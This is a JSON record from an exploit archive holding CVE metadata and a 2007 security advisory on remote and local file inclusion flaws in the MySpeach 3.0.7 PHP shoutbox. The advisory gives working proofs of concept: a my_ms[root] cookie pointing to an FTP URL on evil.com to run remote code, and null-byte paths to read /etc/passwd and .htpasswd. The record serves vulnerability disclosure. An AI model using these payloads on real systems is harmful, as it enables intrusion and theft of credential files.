{"exploit":{"id":"EDB-3657","name":"MySpeach 3.0.7 - Local/Remote File Inclusion (RFI)","description":"MySpeach 3.0.7 - Local/Remote File Inclusion (RFI)","cves":["CVE-2007-1896","CVE-2007-1895"],"author":"Xst3nZ","published":"2007-04-03","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3657","path":"exploits/php/webapps/3657.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3657.txt","vulnerabilities":[{"id":"CVE-2007-1896","state":"PUBLISHED","title":null,"titleSource":null,"description":"Directory traversal vulnerability in chat.php in Sky GUNNING MySpeach 3.0.7 and earlier allows remote attackers to include arbitrary local files via a .. (dot dot) and trailing %00 (NULL) in a my_ms[root] cookie.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1896","cvss":{"version":"2.0","baseScore":5.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1896"},"updatedAt":"2024-08-07T13:13:41.822Z","retrievedAt":"2026-11-27T11:10:48.277Z","stale":false,"error":null},{"id":"CVE-2007-1895","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP remote file inclusion vulnerability in chat.php in Sky GUNNING MySpeach 3.0.7 and earlier, when used with PHP 5, allows remote attackers to execute arbitrary PHP code via an ftp URL in a my_ms[root] cookie, a different vector than CVE-2007-0491 and CVE-2006-4630.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1895","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1895"},"updatedAt":"2024-08-07T13:13:41.381Z","retrievedAt":"2026-11-27T11:10:41.751Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3657.png?v=2","url":"https://exploitbin.com/exploits/EDB-3657","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3657/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3657/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"\t/=======================================\\\n\t| Advisory :: MySpeach <= 3.0.7\t\t|\n\t+=======================================+---------------------------------------------------------------\\\n\t|\t\t\t\t\t\t\t\t\t\t\t\t\t|\n\t|      Download link : http://www.graphiks.net/scripts-php/script-7-1-0.html\t\t\t\t|\n\t|   Official website : www.graphiks.net\t\t\t\t\t\t\t\t\t|\n\t|               Type : Chat without any database (only txt files)\t\t\t\t\t|\n\t|        Vuln. found : Remote/Local File inclusion (& Full Path Disclosure)\t\t\t\t|\n\t| \t  Conditions : Vuln #1 : PHP >= 5.0.0, register_globals = On, allow_url_fopen = On\t\t|\n\t|                      Vuln #2 : register_globals = On\t\t\t\t\t\t\t|\n\t|\t  Risk level : High\t\t\t\t\t\t\t\t\t\t|\n\t|\t\t\t\t\t\t\t\t\t\t\t\t\t|\n\t+-------------------------------------------------------------------------------------------------------+\n\t|\t\t\t\t\t\t\t\t\t\t\t\t\t|\n\t| Program audited by : Xst3nZ <xst3nz@gmail.com> [fr/en]\t\t\t\t\t\t|\n\t|               Date : 2007-04-03\t\t\t\t\t\t\t\t\t|\n\t|\t Last update : 2007-04-03\t\t\t\t\t\t\t\t\t|\n\t|\t\t\t\t\t\t\t\t\t\t\t\t\t|\n\t+-------------------------------------------------------------------------------------------------------+\n\t| \t     Summary : \t0] Description\t\t\t\t\t\t\t\t\t|\n\t|\t\t\t1] Vuln#1 : Remote File Inclusion\t\t\t\t\t\t|\n\t|\t\t\t2] Vuln#2 : Local File Inclusion\t\t\t\t\t\t|\n\t|\t\t\t3] Links & Documentation\t\t\t\t\t\t\t|\n\t\\-------------------------------------------------------------------------------------------------------/\n\n\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n <0> DESCRIPTION\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n  MySpeach is a shoutbox coded in PHP which works without any database. Indeed, it uses only text files to save the\nmessages. To my mind, it's a good script, but let's see the security, although there was a lot of different versions\nto correct vulnerabilities.\nSo, the show must g0 on ...\n\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n <1> VULNERABILITY #1 : REMOTE FILE INCLUSION (WITH FULLPATHDISCL)\n\n  { Cond: PHP>=5.0.0; register_globals=On; allow_url_fopen=On }\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n  Firstly, after the installation, the code which must be put in the page to display the shoutbox MySpeach is the\nfollowing :\n\n+--------8<--------\n| <?php\n| $my_ms['root']=\"/full/path/myspeach\"; // Contains the realpath of the directory where myspeach is installed\n| include($my_ms['root'].'/chat.php'); // Then, the file 'chat.php' is included\n| ?>\n+--------8<--------\n\n  Let's see what is it interesting in the file 'chat.php' :\n\n+--------8<--------\n| // [...] line 15\n| $clef = ''; $data = '';\n| $listedesvariablesensible = array('ip_list', 'my_ms[root]','my_ms[site]','my_ms[absolu_root]','my_ms[msg_txt]',\n| 'my_ms[id_unique]','my_ms| [copyright]','my_ms[skin]','my_ms[version]');\n| foreach($listedesvariablesensible as $clef => $data)\n| {\n| \t$afiltrer = $data;\n|  \tif(isset($_GET[$afiltrer]) || isset($HTTP_GET_VARS[$afiltrer]))\n|  \t{\n|    \t\t$_GET[$afiltrer] = '';\n|    \t\t$HTTP_GET_VARS[$afiltrer] = '';\n|  \t}\n|  \tif(isset($_POST[$afiltrer]) || isset($HTTP_POST_VARS[$afiltrer]))\n|  \t{\n|   \t\t$_POST[$afiltrer] = '';\n|    \t\t$HTTP_POST_VARS[$afiltrer] = '';\n|  \t}\n| }\n| // Line 32 [...]\n+--------8<--------\n\nSo this code filters all the variables $_GET/$HTTP_GET_VARS and $_POST/$HTTP_POST_VARS with a same name that the\nvariables which are used in the script, and it reinitializes their values. However, the vars $_COOKIE are not\nfiltered by this code.\n\n  Besides, we can read the following code :\n\n+--------8<--------\n| // [...] line 35\n| if(!@file_exists($my_ms['root'].'/admin/config.php'))\n| exit('<br /><p align=\"center\">MySpeach n est pas encore installÃ©.</p>');\n|\n| //On inclut les fichiers de config (config files are included)\n| include($my_ms['root'].'/admin/config.php');\n| include($my_ms['root'].'/admin/options.php');\n| include($my_ms['root'].'/admin/setup.php');\n| include($my_ms['root'].'/admin/fonctions.php');\n| // line 45 [...]\n+--------8<--------\n\nThe $my_ms['root'] parameter can be overwritten with a cookie if register_globals = On in the 'php.ini', because\n$my_ms['root'] is not initialized (see [1]). Therefore, it can deals a Remote File Inclusion (RFI).\nNevertheless, the RMI will work only if the server is running on PHP >= 5 because in this version, the file_exists()\nfunction can be used with some URL wrappers (see [2] & [3]) if allow_url_fopen = On in the 'php.ini' (ftp:// can be used for\nexample but not http://).\n\n  +---->> Vuln. #1 Pro0f of Concept <<--------//\n  |\n  | - Create a cookie : \t| Name  : my_ms[root]\n  |\t\t\t\t| Value : ftp://user:password@evil.com\n  |\t\t\t\t| Host  : www.victim.com\n  | - Create a file called 'config.php' in a folder called 'admin' to obtain a path like that : evil.com/admin/config.php\n  | - Then, go on the page : www.victim.com/[myspeach_install_directory(default: myspeach)]/chat.php\n  |   * If you get the following error message : \"MySpeach n est pas encore installÃ©.\", the vulnerability cannot be\n  |     exploited, probably because the version of PHP is under 5.0.0 and/or register_globals = Off and/or\n  |     allow_url_fopen = Off.\n  |   * Else, the RFI will work and, in the same time, a lot of inclusion errors will appears because the script try\n  |     to include another files like 'admin/options.php', 'admin/setup.php' ... (but the RFI must be done with 'config.php'\n  |     because if file_exists($my_ms['root']) return false, the function exit() will be called ...).\n  |     Particularly, it sparks a Full Path Disclosure :\n  |\n  [     Fatal error: Call to undefined function my_MS_plus_un() in /full/path/myspeach/chat.php on line [line]\n  |\n  +-------------------------------------------\n\n\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n <2> VULNERABILITY #2 : LOCAL FILE INCLUSION (WITH FULLPATHDISCL)\n\n  { Cond: only register_globals=On }\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n  It is also possible to include a local file by using the Null Byte char \\x0 (urlencoded: %00). It will also spark a FullPathDiscl.\n\n  +---->> Vuln. #2 Pro0f of Concept <<--------\n  |\n  | - See the Vuln#1 PoC, but change the value of the cookie created, by the path of a local file ended with %00.\n  | Example : /etc/passwd%00; ../admin-panel/.htpasswd%00 ... and it will work if register_globals=On\n  |\n  +-------------------------------------------//\n\n\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n <3> LINKS & DOCUMENTATION\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n [1] register_globals Security\n\thttp://www.php.net/manual/it/security.globals.php\n\n [2] file_exists() function\n\thttp://www.php.net/manual/en/function.file-exists.php\n\n [3] List of Supported Protocols/Wrappers\n\thttp://www.php.net/manual/en/wrappers.ftp.php\n\tand especially for FTP/FTPS: http://www.php.net/manual/en/wrappers.ftp.php\n\t(we also learn that HTTP/HTTPS protocols aren't supported by stat() and so, by file_exists() :\n\thttp://www.php.net/manual/en/wrappers.http.php)\n\n\n// [EOF] Xst3nZ\n\n# milw0rm.com [2007-04-03]","sha256":"9586f17f061fb8b43a31337a74d173ce4eee1f93ea040976776263edd254276d","bytes":7057,"fetchedAt":"2026-11-27T11:10:41.568Z","encoding":"utf-8 (display only; download retains original bytes)"}